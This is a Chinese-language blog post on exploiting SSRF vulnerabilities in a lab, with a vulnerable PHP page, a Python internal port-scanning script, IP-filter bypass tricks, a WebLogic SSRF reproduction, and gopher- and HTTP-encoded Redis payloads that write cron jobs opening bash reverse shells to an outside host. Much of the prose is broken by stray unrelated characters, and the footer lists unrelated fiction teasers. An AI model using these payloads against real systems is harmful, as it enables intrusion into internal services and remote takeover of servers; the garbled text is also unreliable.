SSRF漏洞利用

前言

之前自己搭建ssrf漏洞的時(shí)候凌盯,只是簡(jiǎn)單復(fù)現(xiàn)「斗悖現(xiàn)在突然發(fā)現(xiàn)可以繼續(xù)深入一下,算是對(duì)之前的補(bǔ)充吧驰怎。

回顧

參考 SSRF(服務(wù)端請(qǐng)求偽造)漏洞
使用phpstudy環(huán)境
ssrf.php直接訪問(wèn)即可阐滩,源碼為:

<?php
$url=@$_GET['url'];
$ch=curl_init();//初始化會(huì)話
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res=curl_exec($ch);//執(zhí)行會(huì)話
curl_close($ch);
echo $res;//有回顯
//無(wú)回顯
if($res){
    echo "True";
}else{
    echo "False";
}
?>

漏洞存在

有回顯
echo $res;

對(duì)url參數(shù)進(jìn)行修改,向百度瀏覽器發(fā)送請(qǐng)求县忌〉嗬疲可證實(shí)為SSRF漏洞。

ssrf.php?url=http://www.baidu.com
image.png

無(wú)回顯
即不輸出芹枷。if($res){ echo "True"; }else{ echo "False"; }
因?yàn)闆](méi)有回顯無(wú)法直觀看到頁(yè)面的變化衅疙,只返回True或False判斷,采用公網(wǎng)服務(wù)器端口監(jiān)聽的方式判斷SSRF漏洞是否存在鸳慈。
公網(wǎng)服務(wù)器nc進(jìn)行監(jiān)聽

nc -lvp 8080

靶機(jī)發(fā)送請(qǐng)求

ssrf.php?url=http://47.94.xx.xx:8080
image.png

接收到數(shù)據(jù)包饱溢。可證實(shí)存在SSRF漏洞

利用方式

SSRF漏洞可以判斷內(nèi)網(wǎng)主機(jī)存活以及端口開放情況走芋,可以讀取服務(wù)器文件绩郎,攻擊內(nèi)網(wǎng)的web應(yīng)用。

服務(wù)探測(cè)

有回顯

ssrf.php?url=http://127.0.0.1:8080
image.png

可以借助burp的Intruder嘗試探測(cè)翁逞。

image.png

如果對(duì)資產(chǎn)了解不足肋杖,可以先對(duì)C段進(jìn)行探測(cè)以及一些端口22,80挖函,8080状植,7001,6379等
但是靈活度不夠怨喘,可以編寫腳本進(jìn)行探測(cè)津畸。

#coding='utf-8'
import requests

scheme = 'http'
port_list = [22,80,3306,3389,6379,8080,8088]

def run():
    for i in range(130,136):
        for port in port_list:
            ip='192.168.197.'+str(i)
            payload = '{scheme}://{ip}:{port}'.format(
                scheme=scheme,
                ip=ip,
                port=port
            )
            url= "http://192.168.197.216/ssrf.php?url={payload}".format(payload=payload)
            print url
            try:
                r = requests.get(url,timeout=5,verify=False)
                print r.text
            except Exception,e:
                pass
if __name__ == '__main__':
    run()

github上也有現(xiàn)成工具。
https://github.com/swisskyrepo/SSRFmap
https://github.com/bcoles/ssrf_proxy
https://github.com/tarunkant/Gopherus

無(wú)回顯
即不輸出必怜。if($res){ echo "True"; }else{ echo "False"; }
對(duì)于這種Bool型的SSRF漏洞肉拓,只是簡(jiǎn)單返回True或False,沒(méi)有任何響應(yīng)信息梳庆。即使使用payload也無(wú)法驗(yàn)證是否利用成功暖途,所以利用起來(lái)很費(fèi)勁。

文件讀取

有回顯
利用file協(xié)議可進(jìn)行任意文件讀取膏执。

image.png

利用dict協(xié)議可以操作redis服務(wù)驻售。

image.png

無(wú)回顯
無(wú)法輸出內(nèi)容,該方式作廢更米。

gopher協(xié)議

能夠利用的協(xié)議有很多芋浮,如ftp協(xié)議、http協(xié)議、dict協(xié)議纸巷、file協(xié)議等等
這里重點(diǎn)看一下gopher協(xié)議镇草。
gopher協(xié)議,分布型的文件搜集獲取網(wǎng)絡(luò)協(xié)議瘤旨,支持發(fā)出GET梯啤、POST請(qǐng)求〈嬲埽可以先截獲get請(qǐng)求包和post請(qǐng)求包春感,然后再構(gòu)造成符合gopher協(xié)議的請(qǐng)求逸月。gopher協(xié)議在ssrf利用中很強(qiáng)大。
有回顯

服務(wù)器nc進(jìn)行監(jiān)聽

nc -lvp 2333

靶機(jī)發(fā)送請(qǐng)求

ssrf.php?url=gopher://172.16.111.98:2333/_hello
img

SSRF漏洞在真實(shí)環(huán)境常常去攻擊redis、FastCGI等服務(wù)晃洒。

攻擊redis

使用gopher協(xié)議發(fā)送數(shù)據(jù)包與常見post數(shù)據(jù)包不太一樣绪穆。gopher發(fā)送的數(shù)據(jù)包需為十六進(jìn)制林说。我們可以使用一些抓包工具將請(qǐng)求的數(shù)據(jù)抓取下來(lái)恕出,然后不斷拷貝,操作中非常容易出錯(cuò)嵌施。所以找到負(fù)責(zé)轉(zhuǎn)換gopher的payload的工具饲化。

https://github.com/firebroo/sec_tools/tree/master/common-gopher-tcp-stream

下載到kali上,make編譯即可生成sniffer工具吗伤。并在本地kali上搭建redis服務(wù)吃靠。
輸入info命令查看redis服務(wù),并開啟sniffer捕捉到的命令即為payload足淆。

image.png

gopher協(xié)議格式為:gopher:/ip:port/_ + payload

gopher://192.168.197.134:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a

有回顯

將該payload拷貝到burp數(shù)據(jù)包中巢块,響應(yīng)500錯(cuò)誤。

image.png

使用curl進(jìn)行發(fā)送巧号,請(qǐng)求成功族奢。

curl 'gopher://192.168.197.134:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a'
image.png

證明實(shí)際是可以發(fā)送成功的。

下面進(jìn)一步攻擊redis服務(wù)裂逐。
關(guān)于攻擊redis服務(wù)參考我之前的一篇文章 redis漏洞利用
這里依然用簡(jiǎn)單快捷的shell反彈

config set dir /var/spool/cron/
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/47.94.80.xxx/8080 0>&1\n\n"
config set dbfilename root
save

將反彈shell的命令生成payload進(jìn)行發(fā)送。sniff捕捉payload泣栈。

image.png

payload為:

%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%35%0d%0a%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%78%78%78%0d%0a%24%36%31%0d%0a%0a%0a%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%3e%26%2f%64%65%76%2f%74%63%70%2f%34%37%2e%39%34%2e%38%30%2e%31%32%39%2f%38%30%38%30%20%30%3e%26%31%0a%0a%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%34%0d%0a%72%6f%6f%74%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

然后使用gopher協(xié)議進(jìn)行構(gòu)造卜高,并進(jìn)行url編碼。雖然服務(wù)器返回500南片,但可以成功創(chuàng)建任務(wù)計(jì)劃執(zhí)行掺涛。

image.png

shell隨之接收

image.png

無(wú)回顯

無(wú)回顯的利用方式一樣,服務(wù)器響應(yīng)也為500疼进。

繞過(guò)IP限制

1.利用@符號(hào)

ssrf.php?url=http://www.baidu.com@127.0.0.1:80

和訪問(wèn)127.0.0.1效果一樣

2.利用短地址
使用在線短鏈生成器

https://url.cn/5fyRNDC

3.利用特殊域名

http://127.0.0.1.xip.io/
http://www.owasp.org.127.0.0.1.xip.io/
http://mysite.10.0.0.1.xip.io 
http://foo.bar.10.0.0.1.xip.io

4.利用進(jìn)制轉(zhuǎn)換
可以是十六進(jìn)制薪缆,八進(jìn)制等。
例如192.168.197.134
首先把這四段數(shù)字給分別轉(zhuǎn)成16進(jìn)制伞广,結(jié)果:c0 a8 c5 86
然后把 c0a8c586 這十六進(jìn)制一起轉(zhuǎn)換成8進(jìn)制30052142606
記得訪問(wèn)的時(shí)候加0表示使用八進(jìn)制(可以是一個(gè)0也可以是多個(gè)0)十六進(jìn)制加0x

image.png

weblogic SSRF漏洞復(fù)現(xiàn)

使用vluhab進(jìn)行復(fù)現(xiàn)該漏洞拣帽。

docker-compose build
docker-compose up -d

https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf

image.png

漏洞存在于/uddiexplorer/SearchPublicRegistries.jsp頁(yè)面

image.png

burp抓取數(shù)據(jù)包疼电, operator參數(shù)存在SSRF漏洞

image.png

當(dāng)訪問(wèn)不存在的端口,返回could not connect over HTTP to server

image.png

當(dāng)訪問(wèn)存在的端口時(shí)减拭,顯示error code蔽豺。

image.png

當(dāng)訪問(wèn)的非http協(xié)議,則會(huì)返回did not have a valid SOAP content-type

但是當(dāng)我借助docker的weblogic ssrf漏洞去探測(cè)我手動(dòng)搭建的redis服務(wù)時(shí)拧粪,出現(xiàn)了問(wèn)題修陡。

image.png

響應(yīng)Response contained no data ,未找到解決辦法可霎。

去探測(cè)docker的redis服務(wù)時(shí)魄鸦,響應(yīng)正常

image.png

利用docker的環(huán)境攻擊redis服務(wù)反彈shell。
向redis發(fā)送命令癣朗,將shell腳本寫進(jìn)計(jì)劃任務(wù)拾因。

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/47.94.xx.xxx/8080 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

將該命令通過(guò)get方式進(jìn)行發(fā)送,需要進(jìn)行url編碼斯棒。
注意:換行符是"\r\n"盾致,也就是"%0D%0A"

http://172.18.0.2:6379/%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F47.94.xx.xxx%2F8080%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0Aaaa

注意這里使用的是http協(xié)議。因?yàn)閖ava不支持除了http荣暮、https協(xié)議的其他協(xié)議庭惜。

image.png

即可反彈shell。

image.png

在自己手動(dòng)搭建的weblogic和redis環(huán)境中穗酥,漏洞無(wú)法結(jié)合利用护赊。
原因未知,復(fù)現(xiàn)出來(lái)的還請(qǐng)大佬告知砾跃。

參考資料
了解SSRF,這一篇就足夠了
SSRF漏洞的利用與學(xué)習(xí)
SSRF in PHP
https://joychou.org/web/phpssrf.html
SSRF繞過(guò)方法總結(jié)
SSRF的一些利用姿勢(shì)

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末骏啰,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子抽高,更是在濱河造成了極大的恐慌判耕,老刑警劉巖,帶你破解...
    沈念sama閱讀 211,042評(píng)論 6 490
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件翘骂,死亡現(xiàn)場(chǎng)離奇詭異壁熄,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)碳竟,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 89,996評(píng)論 2 384
  • 文/潘曉璐 我一進(jìn)店門草丧,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人莹桅,你說(shuō)我怎么就攤上這事昌执。” “怎么了?”我有些...
    開封第一講書人閱讀 156,674評(píng)論 0 345
  • 文/不壞的土叔 我叫張陵懂拾,是天一觀的道長(zhǎng)煤禽。 經(jīng)常有香客問(wèn)我,道長(zhǎng)委粉,這世上最難降的妖魔是什么呜师? 我笑而不...
    開封第一講書人閱讀 56,340評(píng)論 1 283
  • 正文 為了忘掉前任,我火速辦了婚禮贾节,結(jié)果婚禮上汁汗,老公的妹妹穿的比我還像新娘。我一直安慰自己栗涂,他們只是感情好知牌,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,404評(píng)論 5 384
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著斤程,像睡著了一般角寸。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上忿墅,一...
    開封第一講書人閱讀 49,749評(píng)論 1 289
  • 那天扁藕,我揣著相機(jī)與錄音,去河邊找鬼疚脐。 笑死亿柑,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的棍弄。 我是一名探鬼主播望薄,決...
    沈念sama閱讀 38,902評(píng)論 3 405
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼呼畸!你這毒婦竟也來(lái)了痕支?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 37,662評(píng)論 0 266
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤蛮原,失蹤者是張志新(化名)和其女友劉穎卧须,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體儒陨,經(jīng)...
    沈念sama閱讀 44,110評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡花嘶,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,451評(píng)論 2 325
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了框全。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片察绷。...
    茶點(diǎn)故事閱讀 38,577評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡干签,死狀恐怖津辩,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤喘沿,帶...
    沈念sama閱讀 34,258評(píng)論 4 328
  • 正文 年R本政府宣布闸度,位于F島的核電站,受9級(jí)特大地震影響蚜印,放射性物質(zhì)發(fā)生泄漏莺禁。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,848評(píng)論 3 312
  • 文/蒙蒙 一窄赋、第九天 我趴在偏房一處隱蔽的房頂上張望哟冬。 院中可真熱鬧,春花似錦忆绰、人聲如沸浩峡。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,726評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)翰灾。三九已至,卻和暖如春稚茅,著一層夾襖步出監(jiān)牢的瞬間纸淮,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,952評(píng)論 1 264
  • 我被黑心中介騙來(lái)泰國(guó)打工亚享, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留咽块,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 46,271評(píng)論 2 360
  • 正文 我出身青樓虹蒋,卻偏偏與公主長(zhǎng)得像糜芳,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子魄衅,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,452評(píng)論 2 348